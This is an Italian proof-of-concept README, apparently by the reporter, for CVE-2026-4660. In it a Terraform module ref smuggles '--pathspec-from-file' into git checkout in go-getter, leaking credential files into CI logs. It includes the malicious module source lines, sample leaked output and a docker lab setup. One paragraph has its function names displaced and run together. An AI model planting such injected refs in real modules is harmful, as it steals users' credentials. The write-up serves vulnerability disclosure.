
PoC per CVE-2026-4660: lettura arbitraria di file tramite git checkout in hashicorp/go-getter
Proof of concept per CVE-2026-4660 (avviso HashiCorp) in hashicorp/go-getter. Sono il reporter originale.
Un attaccante pubblica un modulo Terraform con un ref di --pathspec-from-file=/path/to/file. Quando la vittima esegue terraform init, go-getter clona il repository e chiama git checkout --pathspec-from-file=/path/to/file. Git legge il file di destinazione riga per riga, fallisce su ogni riga come pathspec e riversa il contenuto nell'output di errore. Il ref malevolo si trova nella sorgente del modulo dell'attaccante, non nella configurazione della vittima. terraform init fallisce con un errore di download del modulo; i valori delle credenziali appaiono incorporati negli errori pathspec di git nell'output. Non è necessario alcun apply.
La vulnerabilità esiste in due percorsi di codice nella libreria go-getter. viene eseguito quando la directory di destinazione è assente; viene eseguito quando esiste. Entrambi chiamano lo stesso . rimanda in caso di errore; no, quindi la directory sopravvive al checkout fallito.
clone()update()checkout()clone()os.RemoveAll(dst)update()L'installer dei moduli di Terraform (initwd/module_install.go:251) chiama sempre os.RemoveAll sulla destinazione prima di invocare go-getter, quindi terraform attiva sempre clone(). Packer, Nomad e qualsiasi strumento che chiama direttamente l'API di go-getter su una directory preesistente attiverà invece update(). Il PoC dimostra entrambi i percorsi.
Colpisce tutti gli strumenti che usano go-getter: esempi includono Terraform, Nomad, Packer, Waypoint.
Corretto in: go-getter v1.8.6 (nessuna release di Terraform incorpora ancora la correzione al 2026-04-10) Gravità: 7.5 Alta (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
L'attaccante pubblica un modulo Terraform dall'aspetto legittimo su GitHub, ad esempio un modulo AWS VPC con codice reale e funzionante. Nascosta all'interno, una sorgente di sottomodulo punta a un secondo repository controllato dall'attaccante con il ref malevolo:
# dentro il modulo dell'attaccante; la vittima non legge mai questo file
module "internal" {
source = "git::https://github.com/attacker/tf-internal.git?ref=--pathspec-from-file=/home/runner/.aws/credentials"
}
La vittima aggiunge il modulo di primo livello alla propria configurazione:
module "vpc" {
source = "git::https://github.com/attacker/tf-aws-vpc.git"
}
Esegue terraform init, localmente o in CI. go-getter clona il modulo di primo livello, trova il sottomodulo annidato, lo clona anch'esso e chiama git checkout --pathspec-from-file=/home/runner/.aws/credentials. Git legge il file e il contenuto appare nell'output di errore di terraform:
│ Error: Failed to download module
│
│ error: pathspec 'aws_access_key_id = AKIAIOSFODNN7EXAMPLE' did not match any file(s) known to git
│ error: pathspec 'aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY' did not match any file(s) known to git
Nota: [default] viene rimosso dal renderer colorstring di terraform anche con -no-color (interpretato come token di reset dello stile) e appare come pathspec vuoto '' nell'output effettivo. L'output grezzo di git checkout nel PoC mostra il contenuto non alterato.
L'attacco non è limitato ai file di credenziali. Qualsiasi file leggibile dal processo è un bersaglio: /etc/passwd, file di token CI, configurazioni di applicazioni, qualsiasi cosa accessibile dal runner. Il PoC dimostra ~/.aws/credentials, ~/.ssh/id_rsa e /etc/passwd.
In GitHub Actions, CircleCI o qualsiasi sistema CI che registra l'output di terraform init, quei log sono leggibili da chiunque abbia accesso al repository e spesso esportati verso sistemi di aggregazione log (Datadog, Splunk, ecc.) senza scadenza. Le credenziali AWS della vittima, le chiavi SSH o qualsiasi altro file leggibile dal runner finiscono nella cronologia dei log. La vittima vede una build fallita; i valori delle credenziali sono sepolti in quello che sembra un errore di git.
docker compose up --build
Due container: gitserver serve i repository git bare dell'attaccante su HTTP, poc viene eseguito come utente runner con credenziali fittizie in ~/.aws/credentials, ~/.ssh/id_rsa e un /etc/passwd leggibile. La fase 1 esegue terraform init e dimostra il percorso clone(); un controllo sentinella conferma che le directory dei moduli vengono eliminate dal RemoveAll rimandato di clone() in caso di errore. La fase 2 esercita direttamente la sequenza di chiamate update() di go-getter (fetch + checkout) per mostrare che la stessa vulnerabilità checkout() scatta e che la directory sopravvive, coerente con l'assenza di un defer RemoveAll in update(). Nessuna interazione necessaria.